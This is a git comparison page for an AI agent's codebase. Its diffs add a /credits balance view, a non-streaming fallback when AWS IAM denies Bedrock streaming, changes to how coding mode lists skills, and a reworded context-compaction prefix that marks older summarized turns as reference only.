Compare commits
126
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f6b0b09988 | ||
|
|
853d32fb90 | ||
|
|
9c50521704 | ||
|
|
88dbf95105 | ||
|
|
e20e0bd744 | ||
|
|
0fd34e8c5a | ||
|
|
7ba5df0d52 | ||
|
|
4474873d2c | ||
|
|
8e5b7592f8 | ||
|
|
286ecd26d8 | ||
|
|
8b2a3c9c51 | ||
|
|
74180ebf0b | ||
|
|
f03f161b39 | ||
|
|
1e29ab38c7 | ||
|
|
8e821cd2f5 | ||
|
|
ffef9da9b7 | ||
|
|
8207ae888d | ||
|
|
05470aa1b6 | ||
|
|
b4e95a2efe | ||
|
|
23305cfeab | ||
|
|
156f4fba92 | ||
|
|
a23c0b378c | ||
|
|
9bfff6e16c | ||
|
|
a652131c42 | ||
|
|
573c4e6511 | ||
|
|
0a963d8c9a | ||
|
|
c196269d8d | ||
|
|
906bee9cf7 | ||
|
|
046f444ddc | ||
|
|
15439bee47 | ||
|
|
87893fe4cb | ||
|
|
d810f2b262 | ||
|
|
b3f5e17bb9 | ||
|
|
81cdbbddc8 | ||
|
|
d6df38bb6b | ||
|
|
c7bee8f961 | ||
|
|
434c684bfa | ||
|
|
db7714d5f1 | ||
|
|
343803b23c | ||
|
|
a942bfd9cc | ||
|
|
a35b370284 | ||
|
|
b2d151abe2 | ||
|
|
44bd478039 | ||
|
|
889a13696b | ||
|
|
82d570165e | ||
|
|
c574170050 | ||
|
|
e4c168b1f4 | ||
|
|
08e8bedae8 | ||
|
|
62e937bf2b | ||
|
|
24f74eb888 | ||
|
|
6e41ca956b | ||
|
|
6db65e687c | ||
|
|
09bcf5a937 | ||
|
|
4d67ac6172 | ||
|
|
6c00077d38 | ||
|
|
9e484f052a | ||
|
|
ab06ef8ed6 | ||
|
|
afe53708ee | ||
|
|
5affecb443 | ||
|
|
96cc7ee1e3 | ||
|
|
880107ab24 | ||
|
|
4ddb03390a | ||
|
|
c6007e5c1a | ||
|
|
e2145a5c9c | ||
|
|
55a18e6860 | ||
|
|
b097d7b033 | ||
|
|
cc726aad68 | ||
|
|
81436e143e | ||
|
|
9ff0ba0827 | ||
|
|
e3ed7722b5 | ||
|
|
7a2d498b9d | ||
|
|
e96fe06e49 | ||
|
|
9102d4a588 | ||
|
|
d221e369b8 | ||
|
|
b1fe2107d6 | ||
|
|
73969771a5 | ||
|
|
2ee69d0579 | ||
|
|
021ed69141 | ||
|
|
6c752ca3a5 | ||
|
|
acb2954d82 | ||
|
|
8f8cad7ec5 | ||
|
|
d5e2fbf244 | ||
|
|
484f484c25 | ||
|
|
114e265737 | ||
|
|
32a73010bb | ||
|
|
93764b9303 | ||
|
|
c3464ecf45 | ||
|
|
e080365a7a | ||
|
|
5e5308d34d | ||
|
|
08b1c44a53 | ||
|
|
020ef76cf1 | ||
|
|
13650ab7f8 | ||
|
|
4e9be3ee32 | ||
|
|
e7ae145ac4 | ||
|
|
ce99a81123 | ||
|
|
743c55efa3 | ||
|
|
93a2f680fd | ||
|
|
8505e9d669 | ||
|
|
a4f179c509 | ||
|
|
cb29e8a82e | ||
|
|
3c489fda81 | ||
|
|
e8b757845d | ||
|
|
e976faac7a | ||
|
|
1593ca5406 | ||
|
|
9a09ea69fb | ||
|
|
4d6a133a9f | ||
|
|
c7bfc938d5 | ||
|
|
9121834b31 | ||
|
|
56a0f48ba6 | ||
|
|
8878484f85 | ||
|
|
db79e90130 | ||
|
|
51f47f9a97 | ||
|
|
e71d746820 | ||
|
|
5508f4bc54 | ||
|
|
b2043cf157 | ||
|
|
dca11b6650 | ||
|
|
ee1a744ace | ||
|
|
52c7976f40 | ||
|
|
2ecb4e62bb | ||
|
|
9c051f57c3 | ||
|
|
e24c935cf3 | ||
|
|
b1af653bf6 | ||
|
|
e372803554 | ||
|
|
d0e017bac8 | ||
|
|
bfcc9f92b4 | ||
|
|
984e6cb5b8 |
@@ -89,6 +89,9 @@ website/static/api/skills-index.json
|
||||
# every build).
|
||||
website/static/api/skills.json
|
||||
website/static/api/skills-meta.json
|
||||
# automation-blueprints-index.json is a build artifact emitted by
|
||||
# website/scripts/extract-automation-blueprints.py during prebuild.
|
||||
website/static/api/automation-blueprints-index.json
|
||||
models-dev-upstream/
|
||||
|
||||
# Local editor / agent tooling (machine-specific; keep in global config, not the repo)
|
||||
|
||||
+90
-2
@@ -145,7 +145,7 @@ def build_nous_credits_snapshot(account_info) -> Optional[AccountUsageSnapshot]:
|
||||
account info to show (fail-open: caller just shows nothing).
|
||||
"""
|
||||
try:
|
||||
from hermes_cli.nous_account import nous_portal_billing_url
|
||||
from hermes_cli.nous_account import nous_portal_topup_url
|
||||
|
||||
if account_info is None or not getattr(account_info, "logged_in", False):
|
||||
return None
|
||||
@@ -213,7 +213,8 @@ def build_nous_credits_snapshot(account_info) -> Optional[AccountUsageSnapshot]:
|
||||
if not windows and not details:
|
||||
return None
|
||||
|
||||
details.append(f"Manage / top up: {nous_portal_billing_url(account_info)}")
|
||||
details.append(f"Top up: {nous_portal_topup_url(account_info)}")
|
||||
details.append("(or run /credits)")
|
||||
|
||||
plan = getattr(sub, "plan", None) if sub is not None else None
|
||||
return AccountUsageSnapshot(
|
||||
@@ -337,6 +338,93 @@ def _snapshot_from_credits_state(state) -> Optional[AccountUsageSnapshot]:
|
||||
return None
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class CreditsView:
|
||||
"""Surface-agnostic data for the ``/credits`` command.
|
||||
|
||||
One portal fetch, one parse — consumed identically by the CLI panel, the
|
||||
gateway button, and any other money surface. Fail-open: when not logged in
|
||||
or the portal is unreachable, ``logged_in`` is False / ``topup_url`` is None
|
||||
and callers degrade gracefully.
|
||||
"""
|
||||
|
||||
logged_in: bool
|
||||
balance_lines: tuple[str, ...] = ()
|
||||
identity_line: Optional[str] = None
|
||||
topup_url: Optional[str] = None
|
||||
depleted: bool = False
|
||||
|
||||
|
||||
def build_credits_view(*, markdown: bool = False, timeout: float = 10.0) -> CreditsView:
|
||||
"""Build the /credits view: balance block + identity line + top-up URL.
|
||||
|
||||
Reuses the same account fetch + snapshot + URL builder as the /usage credits
|
||||
block, so the numbers always match. The balance block is the rendered
|
||||
snapshot MINUS its trailing top-up/command-hint lines (the /credits surface
|
||||
supplies its own affordance). Fail-open → ``CreditsView(logged_in=False)``.
|
||||
"""
|
||||
not_logged_in = CreditsView(logged_in=False)
|
||||
try:
|
||||
from hermes_cli.auth import get_provider_auth_state
|
||||
|
||||
tok = (get_provider_auth_state("nous") or {}).get("access_token")
|
||||
if not (isinstance(tok, str) and tok.strip()):
|
||||
return not_logged_in
|
||||
except Exception:
|
||||
return not_logged_in
|
||||
|
||||
try:
|
||||
import concurrent.futures
|
||||
|
||||
from hermes_cli.nous_account import (
|
||||
get_nous_portal_account_info,
|
||||
nous_portal_topup_url,
|
||||
)
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=1) as pool:
|
||||
account = pool.submit(get_nous_portal_account_info, force_fresh=True).result(
|
||||
timeout=timeout
|
||||
)
|
||||
except Exception:
|
||||
logger.debug("credits ▸ /credits portal fetch failed (fail-open)", exc_info=True)
|
||||
return not_logged_in
|
||||
|
||||
if account is None or not getattr(account, "logged_in", False):
|
||||
return not_logged_in
|
||||
|
||||
snapshot = build_nous_credits_snapshot(account)
|
||||
# Balance lines = the snapshot block minus the two trailing affordance lines
|
||||
# ("Top up: <url>" + "(or run /credits)") that build_nous_credits_snapshot
|
||||
# appends for the /usage surface. /credits renders its own button/panel.
|
||||
balance_lines: list[str] = []
|
||||
if snapshot is not None:
|
||||
rendered = render_account_usage_lines(snapshot, markdown=markdown)
|
||||
balance_lines = [
|
||||
line
|
||||
for line in rendered
|
||||
if not line.lstrip().startswith("Top up:")
|
||||
and not line.lstrip().startswith("(or run")
|
||||
]
|
||||
|
||||
# Identity line — shown before any open (roadmap §4.4).
|
||||
email = getattr(account, "email", None)
|
||||
org_name = getattr(account, "org_name", None)
|
||||
who: list[str] = []
|
||||
if email:
|
||||
who.append(str(email))
|
||||
if org_name:
|
||||
who.append(f"org {org_name}")
|
||||
identity_line = ("Topping up as " + " / ".join(who)) if who else None
|
||||
|
||||
return CreditsView(
|
||||
logged_in=True,
|
||||
balance_lines=tuple(balance_lines),
|
||||
identity_line=identity_line,
|
||||
topup_url=nous_portal_topup_url(account),
|
||||
depleted=getattr(account, "paid_service_access", None) is False,
|
||||
)
|
||||
|
||||
|
||||
def _resolve_codex_usage_url(base_url: str) -> str:
|
||||
normalized = (base_url or "").strip().rstrip("/")
|
||||
if not normalized:
|
||||
|
||||
@@ -679,15 +679,28 @@ def recover_with_credential_pool(
|
||||
# long-running TUI sessions stuck on stale tokens until the user
|
||||
# exited and reopened.
|
||||
is_entitlement = agent._is_entitlement_failure(error_context, status_code)
|
||||
_auth_haystack = " ".join(
|
||||
str(error_context.get(k) or "").lower()
|
||||
for k in ("message", "reason", "code", "error")
|
||||
if isinstance(error_context, dict)
|
||||
)
|
||||
if (
|
||||
not is_entitlement
|
||||
and status_code == 403
|
||||
and "oauth authentication is currently not allowed for this organization" in _auth_haystack
|
||||
):
|
||||
is_entitlement = True
|
||||
if (
|
||||
not is_entitlement
|
||||
and status_code == 403
|
||||
and (agent.provider or "") == "anthropic"
|
||||
and getattr(agent, "api_mode", "") == "anthropic_messages"
|
||||
):
|
||||
is_entitlement = True
|
||||
if not is_entitlement and status_code == 403 and (agent.provider or "") == "xai-oauth":
|
||||
_disambiguator_haystack = " ".join(
|
||||
str(error_context.get(k) or "").lower()
|
||||
for k in ("message", "reason", "code", "error")
|
||||
if isinstance(error_context, dict)
|
||||
)
|
||||
_is_xai_auth_failure = (
|
||||
"[wke=unauthenticated:" in _disambiguator_haystack
|
||||
or "oauth2 access token could not be validated" in _disambiguator_haystack
|
||||
"[wke=unauthenticated:" in _auth_haystack
|
||||
or "oauth2 access token could not be validated" in _auth_haystack
|
||||
)
|
||||
if not _is_xai_auth_failure:
|
||||
is_entitlement = True
|
||||
|
||||
@@ -208,6 +208,41 @@ def is_stale_connection_error(exc: BaseException) -> bool:
|
||||
return False
|
||||
|
||||
|
||||
def is_streaming_access_denied_error(exc: BaseException) -> bool:
|
||||
"""Return True when AWS denied the ``bedrock:InvokeModelWithResponseStream`` action.
|
||||
|
||||
IAM policies scoped to ``bedrock:InvokeModel`` only (a common least-privilege
|
||||
setup) reject ``converse_stream()`` with an ``AccessDeniedException`` whose
|
||||
message names the streaming action, e.g.::
|
||||
|
||||
User: arn:aws:iam::123456789012:user/x is not authorized to perform:
|
||||
bedrock:InvokeModelWithResponseStream on resource: ...
|
||||
|
||||
This is permanent for the session — retrying the stream can never succeed —
|
||||
so callers should flip to the non-streaming ``converse()`` path (which maps
|
||||
to ``bedrock:InvokeModel``) instead of burning retries.
|
||||
|
||||
Detection is deliberately message-based: boto3 surfaces this as a
|
||||
``ClientError`` with ``Error.Code == "AccessDeniedException"``, and the
|
||||
AnthropicBedrock SDK wraps the same AWS response in its own exception
|
||||
types, but both preserve the action name in the message.
|
||||
"""
|
||||
msg = str(exc).lower()
|
||||
if "invokemodelwithresponsestream" not in msg:
|
||||
return False
|
||||
# ClientError with an explicit access-denied code is the canonical form.
|
||||
try:
|
||||
from botocore.exceptions import ClientError
|
||||
except ImportError: # pragma: no cover — botocore always present with boto3
|
||||
ClientError = None # type: ignore[assignment]
|
||||
if ClientError is not None and isinstance(exc, ClientError):
|
||||
code = (getattr(exc, "response", None) or {}).get("Error", {}).get("Code", "")
|
||||
return code in ("AccessDeniedException", "UnauthorizedException")
|
||||
# Wrapped forms (e.g. AnthropicBedrock SDK PermissionDeniedError) — match
|
||||
# on the authorization-failure phrasing AWS uses.
|
||||
return "not authorized" in msg or "accessdenied" in msg
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# AWS credential detection
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -1003,6 +1038,16 @@ def call_converse_stream(
|
||||
try:
|
||||
response = client.converse_stream(**kwargs)
|
||||
except Exception as exc:
|
||||
if is_streaming_access_denied_error(exc):
|
||||
# IAM allows bedrock:InvokeModel but not
|
||||
# InvokeModelWithResponseStream — permanent for this session.
|
||||
# Fall back to the non-streaming converse() path.
|
||||
logger.info(
|
||||
"bedrock: converse_stream denied by IAM on (region=%s, model=%s) — "
|
||||
"falling back to non-streaming converse().",
|
||||
region, model,
|
||||
)
|
||||
return normalize_converse_response(client.converse(**kwargs))
|
||||
if is_stale_connection_error(exc):
|
||||
logger.warning(
|
||||
"bedrock: stale-connection error on converse_stream(region=%s, "
|
||||
|
||||
@@ -1615,6 +1615,8 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
|
||||
_get_bedrock_runtime_client,
|
||||
invalidate_runtime_client,
|
||||
is_stale_connection_error,
|
||||
is_streaming_access_denied_error,
|
||||
normalize_converse_response,
|
||||
stream_converse_with_callbacks,
|
||||
)
|
||||
region = api_kwargs.pop("__bedrock_region__", "us-east-1")
|
||||
@@ -1623,6 +1625,29 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
|
||||
try:
|
||||
raw_response = client.converse_stream(**api_kwargs)
|
||||
except Exception as _bedrock_exc:
|
||||
# IAM policies scoped to bedrock:InvokeModel only (no
|
||||
# InvokeModelWithResponseStream) reject converse_stream()
|
||||
# with AccessDeniedException. That denial is permanent for
|
||||
# the session — fall back to the non-streaming converse()
|
||||
# inline (it maps to bedrock:InvokeModel) and disable
|
||||
# streaming for subsequent calls so we don't re-fail every
|
||||
# turn.
|
||||
if is_streaming_access_denied_error(_bedrock_exc):
|
||||
agent._disable_streaming = True
|
||||
agent._safe_print(
|
||||
"\n⚠ AWS IAM denied bedrock:InvokeModelWithResponseStream — "
|
||||
"falling back to non-streaming InvokeModel.\n"
|
||||
" Grant that action to restore streaming output.\n"
|
||||
)
|
||||
logger.info(
|
||||
"bedrock: converse_stream denied by IAM (%s) — "
|
||||
"using non-streaming converse() for this session.",
|
||||
type(_bedrock_exc).__name__,
|
||||
)
|
||||
result["response"] = normalize_converse_response(
|
||||
client.converse(**api_kwargs)
|
||||
)
|
||||
return
|
||||
# Evict the cached client on stale-connection failures
|
||||
# so the outer retry loop builds a fresh client/pool.
|
||||
if is_stale_connection_error(_bedrock_exc):
|
||||
@@ -2424,9 +2449,34 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
|
||||
"stream" in _err_lower
|
||||
and "not supported" in _err_lower
|
||||
)
|
||||
if _is_stream_unsupported:
|
||||
# AWS Bedrock (AnthropicBedrock SDK path): IAM policies
|
||||
# with bedrock:InvokeModel but not
|
||||
# InvokeModelWithResponseStream reject messages.stream()
|
||||
# with a permission error naming the streaming action.
|
||||
# Permanent for the session — flip to non-streaming
|
||||
# (messages.create() maps to bedrock:InvokeModel).
|
||||
_is_bedrock_stream_denied = False
|
||||
if (
|
||||
not _is_stream_unsupported
|
||||
and "invokemodelwithresponsestream" in _err_lower
|
||||
):
|
||||
# Cheap message pre-check before importing the
|
||||
# adapter — bedrock_adapter triggers a lazy boto3
|
||||
# install at import time, which must not run for
|
||||
# unrelated providers' stream errors.
|
||||
from agent.bedrock_adapter import (
|
||||
is_streaming_access_denied_error,
|
||||
)
|
||||
_is_bedrock_stream_denied = (
|
||||
is_streaming_access_denied_error(e)
|
||||
)
|
||||
if _is_stream_unsupported or _is_bedrock_stream_denied:
|
||||
agent._disable_streaming = True
|
||||
agent._safe_print(
|
||||
"\n⚠ AWS IAM denied bedrock:InvokeModelWithResponseStream. "
|
||||
"Switching to non-streaming.\n"
|
||||
" Grant that action to restore streaming output.\n"
|
||||
if _is_bedrock_stream_denied else
|
||||
"\n⚠ Streaming is not supported for this "
|
||||
"model/provider. Switching to non-streaming.\n"
|
||||
" To avoid this delay, set display.streaming: false "
|
||||
|
||||
@@ -127,14 +127,21 @@ def _chat_content_to_responses_parts(content: Any, *, role: str = "user") -> Lis
|
||||
return converted
|
||||
|
||||
|
||||
def _summarize_user_message_for_log(content: Any) -> str:
|
||||
"""Return a short text summary of a user message for logging/trajectory.
|
||||
def _summarize_user_message_for_log(content: Any, *, sep: str = " ") -> str:
|
||||
"""Flatten message content to a plain-text summary.
|
||||
|
||||
Multimodal messages arrive as a list of ``{type:"text"|"image_url", ...}``
|
||||
parts from the API server. Logging, spinner previews, and trajectory
|
||||
files all want a plain string — this helper extracts the first chunk of
|
||||
text and notes any attached images. Returns an empty string for empty
|
||||
lists and ``str(content)`` for unexpected scalar types.
|
||||
parts from the API server. Several consumers want a plain string:
|
||||
|
||||
- Logging, spinner previews, and trajectory files (the default ``sep=" "``).
|
||||
- External memory providers, which feed the text to regexes
|
||||
(``sanitize_context``) and text APIs — a raw list crashes the sync with
|
||||
``expected string or bytes-like object, got 'list'`` (use ``sep="\\n"``).
|
||||
|
||||
Text parts are joined with ``sep``; images become a ``[N image(s)]`` marker
|
||||
so the turn isn't recorded as if the attachment never existed. Returns an
|
||||
empty string for empty lists and ``str(content)`` for unexpected scalar
|
||||
types.
|
||||
"""
|
||||
if content is None:
|
||||
return ""
|
||||
@@ -157,7 +164,7 @@ def _summarize_user_message_for_log(content: Any) -> str:
|
||||
text_bits.append(text)
|
||||
elif ptype in {"image_url", "input_image"}:
|
||||
image_count += 1
|
||||
summary = " ".join(text_bits).strip()
|
||||
summary = sep.join(text_bits).strip()
|
||||
if image_count:
|
||||
note = f"[{image_count} image{'s' if image_count != 1 else ''}]"
|
||||
summary = f"{note} {summary}" if summary else note
|
||||
|
||||
+65
-27
@@ -40,9 +40,11 @@ Activation (config ``agent.coding_context``):
|
||||
|
||||
* ``auto`` (default) — posture (brief + snapshot) on an interactive coding
|
||||
surface sitting in a code workspace (git repo or recognised project root).
|
||||
Prompt-only; toolsets untouched.
|
||||
Prompt-only; toolsets and the skill index untouched.
|
||||
* ``focus`` — like ``auto``, but additionally collapses the toolset to the
|
||||
``coding`` set + enabled MCP servers. Explicit opt-in for a lean schema.
|
||||
``coding`` set + enabled MCP servers and demotes non-coding skill
|
||||
categories to names-only in the prompt's skill index (no skill is ever
|
||||
hidden). Explicit opt-in for a lean schema.
|
||||
* ``on`` — force the posture anywhere (incl. non-workspaces). Prompt-only.
|
||||
* ``off`` — disable entirely.
|
||||
"""
|
||||
@@ -104,13 +106,19 @@ _GIT_TIMEOUT = 2.5
|
||||
# multi-file) and mode="replace" (find-and-swap). We nudge each family toward
|
||||
# its native format. Unknown families get nothing (the brief's neutral wording
|
||||
# stands). Substrings match the model id; aligned with TOOL_USE_ENFORCEMENT_MODELS.
|
||||
#
|
||||
# GPT/Codex get V4A for ALL edits, single-file included: in codex-rs,
|
||||
# apply_patch (V4A — apply_patch.lark) is the ONLY file editor, no
|
||||
# str_replace-style tool exists, and the shipped model prompts say to use
|
||||
# apply_patch even "for single file edits" — so a replace-mode nudge would
|
||||
# steer those models toward a format their first-party harness never taught
|
||||
# them.
|
||||
_EDIT_FORMAT_GUIDANCE: dict[str, tuple[tuple[str, ...], str]] = {
|
||||
"patch": (
|
||||
("gpt", "codex"),
|
||||
"- Edit format: author new files with `write_file`; for edits to "
|
||||
"existing code prefer `patch` with `mode='patch'` (V4A multi-file diff) "
|
||||
"for structured or multi-file changes — it's the diff format you handle "
|
||||
"most reliably. Use `mode='replace'` for a single small swap.",
|
||||
"existing code use `patch` with `mode='patch'` (V4A diff) — including "
|
||||
"single-file edits. It's the edit format you handle most reliably.",
|
||||
),
|
||||
"replace": (
|
||||
("claude", "sonnet", "opus", "haiku",
|
||||
@@ -182,6 +190,10 @@ CODING_AGENT_GUIDANCE = (
|
||||
"Verify, and know when to stop:\n"
|
||||
"- Use `terminal` for git, builds, tests, and inspection. Run the relevant "
|
||||
"tests/linter/build and confirm they pass before claiming the work is done.\n"
|
||||
"- Terminal state persists across calls: current directory and exported "
|
||||
"environment variables carry forward. Activate a virtualenv or export setup "
|
||||
"vars once, then reuse that state instead of re-sourcing it before every "
|
||||
"test command.\n"
|
||||
"- Fix root causes, not symptoms: when you find a bug, check sibling call "
|
||||
"paths for the same flaw and fix the class, not just the reported site.\n"
|
||||
"- When fixing linter/type errors on a file, stop after about three "
|
||||
@@ -212,11 +224,13 @@ class ContextProfile:
|
||||
``model_hint`` — routing preference key for smart model routing
|
||||
(extension seam; not yet consumed by the router).
|
||||
``memory_policy``— memory namespace/weighting hint (extension seam).
|
||||
``hidden_skill_categories`` — skill categories pruned from the system-prompt
|
||||
skill index while this posture is active. Discovery-only:
|
||||
nothing is disabled — ``skills_list`` still returns the
|
||||
full catalog and ``skill_view`` loads anything. Deny-list
|
||||
semantics so unknown/custom categories stay visible.
|
||||
``compact_skill_categories`` — skill categories DEMOTED to names-only in
|
||||
the system-prompt skill index under the opt-in ``focus``
|
||||
mode. Never hidden: every skill name stays visible
|
||||
(so memory-anchored recall keeps working) — only the
|
||||
descriptions are dropped to cut index noise. Deny-list
|
||||
semantics so unknown/custom categories keep full
|
||||
entries.
|
||||
"""
|
||||
|
||||
name: str
|
||||
@@ -224,14 +238,14 @@ class ContextProfile:
|
||||
guidance: str = ""
|
||||
model_hint: Optional[str] = None
|
||||
memory_policy: str = "default"
|
||||
hidden_skill_categories: tuple[str, ...] = ()
|
||||
compact_skill_categories: tuple[str, ...] = ()
|
||||
|
||||
|
||||
# Skill categories that are clearly not part of a coding workflow. Hidden from
|
||||
# the prompt's skill index in the coding posture (deny-list — anything not
|
||||
# listed here, incl. custom user categories, stays visible). Coding-adjacent
|
||||
# categories (devops, github, mcp, data-science, diagramming, research,
|
||||
# security, …) are intentionally absent.
|
||||
# Skill categories that are clearly not part of a coding workflow. Demoted to
|
||||
# names-only in the prompt's skill index under the opt-in ``focus`` mode only
|
||||
# (deny-list — anything not listed here, incl. custom user categories, keeps
|
||||
# full entries). Coding-adjacent categories (devops, github, mcp,
|
||||
# data-science, diagramming, research, security, …) are intentionally absent.
|
||||
_NON_CODING_SKILL_CATEGORIES = (
|
||||
"apple", "communication", "cooking", "creative", "email", "finance",
|
||||
"gaming", "gifs", "health", "media", "music", "note-taking",
|
||||
@@ -247,7 +261,7 @@ CODING_PROFILE = ContextProfile(
|
||||
guidance=CODING_AGENT_GUIDANCE,
|
||||
model_hint="coding",
|
||||
memory_policy="project",
|
||||
hidden_skill_categories=_NON_CODING_SKILL_CATEGORIES,
|
||||
compact_skill_categories=_NON_CODING_SKILL_CATEGORIES,
|
||||
)
|
||||
|
||||
_PROFILES: dict[str, ContextProfile] = {
|
||||
@@ -432,9 +446,27 @@ class RuntimeMode:
|
||||
blocks.append(workspace)
|
||||
return blocks
|
||||
|
||||
def hidden_skill_categories(self) -> frozenset[str]:
|
||||
"""Skill categories to prune from the prompt's skill index (may be empty)."""
|
||||
return frozenset(self.profile.hidden_skill_categories)
|
||||
def compact_skill_categories(self) -> frozenset[str]:
|
||||
"""Skill categories to demote to names-only in the prompt's skill index.
|
||||
|
||||
Gated on the opt-in ``focus`` mode, like the toolset collapse: the
|
||||
default posture leaves the skill index untouched. Users who didn't ask
|
||||
for a lean prompt keep full entries for every category — index changes
|
||||
under ``auto`` proved too surprising in practice, even names-only ones
|
||||
(a demoted description is information the model no longer weighs when
|
||||
deciding what to load).
|
||||
|
||||
Demoted — never hidden — even under ``focus``. An earlier revision
|
||||
fully pruned these categories from the index, which caused silent
|
||||
capability loss in a real workflow: agent-created skills are the
|
||||
model's accumulated project memory (server-ops runbooks, learned
|
||||
pitfalls, …), and models do not reliably reach for ``skills_list`` to
|
||||
rediscover what the index stopped showing them. Names-only keeps every
|
||||
skill loadable on recall while still cutting the description noise.
|
||||
"""
|
||||
if not self.is_coding or self.config_mode != "focus":
|
||||
return frozenset()
|
||||
return frozenset(self.profile.compact_skill_categories)
|
||||
|
||||
|
||||
def resolve_runtime_mode(
|
||||
@@ -512,20 +544,23 @@ def coding_system_blocks(
|
||||
).system_blocks()
|
||||
|
||||
|
||||
def coding_hidden_skill_categories(
|
||||
def coding_compact_skill_categories(
|
||||
*,
|
||||
platform: Optional[str] = None,
|
||||
cwd: Optional[str | Path] = None,
|
||||
config: Optional[dict[str, Any]] = None,
|
||||
) -> frozenset[str]:
|
||||
"""Skill categories the active posture prunes from the prompt's skill index.
|
||||
"""Skill categories the active posture demotes to names-only in the index.
|
||||
|
||||
Empty outside the coding posture. Discovery-only: hidden skills remain
|
||||
loadable via ``skills_list`` / ``skill_view``.
|
||||
Empty outside the coding posture and outside the opt-in ``focus`` mode —
|
||||
the default posture never touches the skill index. Under ``focus``,
|
||||
demoted — never hidden: every skill name stays in the index and remains
|
||||
loadable via ``skill_view`` / ``skills_list``; only descriptions are
|
||||
dropped.
|
||||
"""
|
||||
return resolve_runtime_mode(
|
||||
platform=platform, cwd=cwd, config=config
|
||||
).hidden_skill_categories()
|
||||
).compact_skill_categories()
|
||||
|
||||
|
||||
def _enabled_mcp_servers(config: Optional[dict[str, Any]]) -> list[str]:
|
||||
@@ -680,10 +715,13 @@ def build_coding_workspace_block(cwd: Optional[str | Path] = None) -> str:
|
||||
lines.append("- Branch: (detached HEAD)")
|
||||
|
||||
# Linked worktree: the per-worktree git dir differs from the shared common dir.
|
||||
# We surface the fact that it's a worktree (so the model knows branches/stashes
|
||||
# are shared state) but deliberately do NOT expose the primary tree path —
|
||||
# giving the model a second absolute path causes it to sometimes run commands
|
||||
# in the wrong directory.
|
||||
git_dir, common_dir = _git(root, "rev-parse", "--git-dir"), _git(root, "rev-parse", "--git-common-dir")
|
||||
if git_dir and common_dir and Path(git_dir).resolve() != Path(common_dir).resolve():
|
||||
main_tree = Path(common_dir).resolve().parent
|
||||
lines.append(f"- Worktree: linked (primary tree at {main_tree})")
|
||||
lines.append("- Worktree: linked (git state shared with primary tree)")
|
||||
|
||||
dirty = [f"{n} {label}" for label, n in (
|
||||
("staged", counts["staged"]), ("modified", counts["modified"]),
|
||||
|
||||
+101
-25
@@ -7,7 +7,7 @@ protecting head and tail context.
|
||||
Improvements over v2:
|
||||
- Structured summary template with Resolved/Pending question tracking
|
||||
- Filter-safe summarizer preamble that treats prior turns as source material
|
||||
- "Remaining Work" replaces "Next Steps" to avoid reading as active instructions
|
||||
- Historical (reference-only) section headings replace "Next Steps"/"Remaining Work" to avoid reading as active instructions
|
||||
- Clear separator when summary merges into tail message
|
||||
- Iterative summary updates (preserves info across multiple compactions)
|
||||
- Token-budget tail protection instead of fixed message count
|
||||
@@ -34,7 +34,50 @@ from agent.redact import redact_sensitive_text
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
HISTORICAL_TASK_HEADING = "## Historical Task Snapshot"
|
||||
HISTORICAL_IN_PROGRESS_HEADING = "## Historical In-Progress State"
|
||||
HISTORICAL_PENDING_ASKS_HEADING = "## Historical Pending User Asks"
|
||||
HISTORICAL_REMAINING_WORK_HEADING = "## Historical Remaining Work"
|
||||
|
||||
|
||||
SUMMARY_PREFIX = (
|
||||
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
|
||||
"into the summary below. This is a handoff from a previous context "
|
||||
"window — treat it as background reference, NOT as active instructions. "
|
||||
"Do NOT answer questions or fulfill requests mentioned in this summary; "
|
||||
"they were already addressed. "
|
||||
"Respond ONLY to the latest user message that appears AFTER this "
|
||||
"summary — that message is the single source of truth for what to do "
|
||||
"right now. "
|
||||
"Topic overlap with the summary does NOT mean you should resume its "
|
||||
"task: even on similar topics, the latest user message WINS. Treat ONLY "
|
||||
"the latest message as the active task and discard stale items from "
|
||||
f"'{HISTORICAL_TASK_HEADING}' / '{HISTORICAL_IN_PROGRESS_HEADING}' / "
|
||||
f"'{HISTORICAL_PENDING_ASKS_HEADING}' / "
|
||||
f"'{HISTORICAL_REMAINING_WORK_HEADING}' entirely — do not 'wrap up' or "
|
||||
"'finish' work described there unless the latest message explicitly "
|
||||
"asks for it. "
|
||||
"Reverse signals in the latest message (e.g. 'stop', 'undo', 'roll "
|
||||
"back', 'just verify', 'don't do that anymore', 'never mind', a new "
|
||||
"topic) must immediately end any in-flight work described in the "
|
||||
"summary; do not re-surface it in later turns. "
|
||||
"IMPORTANT: Your persistent memory (MEMORY.md, USER.md) in the system "
|
||||
"prompt is ALWAYS authoritative and active — never ignore or deprioritize "
|
||||
"memory content due to this compaction note. "
|
||||
"The current session state (files, config, etc.) may reflect work "
|
||||
"described here — avoid repeating it:"
|
||||
)
|
||||
LEGACY_SUMMARY_PREFIX = "[CONTEXT SUMMARY]:"
|
||||
|
||||
# Handoff prefixes that shipped in earlier releases. A summary persisted under
|
||||
# one of these can be inherited into a resumed lineage (#35344); when it is
|
||||
# re-normalized on re-compaction we must strip the OLD prefix too, otherwise the
|
||||
# stale directive it carried (e.g. "resume exactly from Active Task") survives
|
||||
# embedded in the body and keeps hijacking replies. Keep newest-first; entries
|
||||
# are matched literally. Add a frozen copy here whenever SUMMARY_PREFIX changes.
|
||||
_HISTORICAL_SUMMARY_PREFIXES = (
|
||||
# Carveout era (#41607/#38364/#42812): "consistent → use as background"
|
||||
# licensed stale-task resumption on topic overlap.
|
||||
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
|
||||
"into the summary below. This is a handoff from a previous context "
|
||||
"window — treat it as background reference, NOT as active instructions. "
|
||||
@@ -57,17 +100,7 @@ SUMMARY_PREFIX = (
|
||||
"prompt is ALWAYS authoritative and active — never ignore or deprioritize "
|
||||
"memory content due to this compaction note. "
|
||||
"The current session state (files, config, etc.) may reflect work "
|
||||
"described here — avoid repeating it:"
|
||||
)
|
||||
LEGACY_SUMMARY_PREFIX = "[CONTEXT SUMMARY]:"
|
||||
|
||||
# Handoff prefixes that shipped in earlier releases. A summary persisted under
|
||||
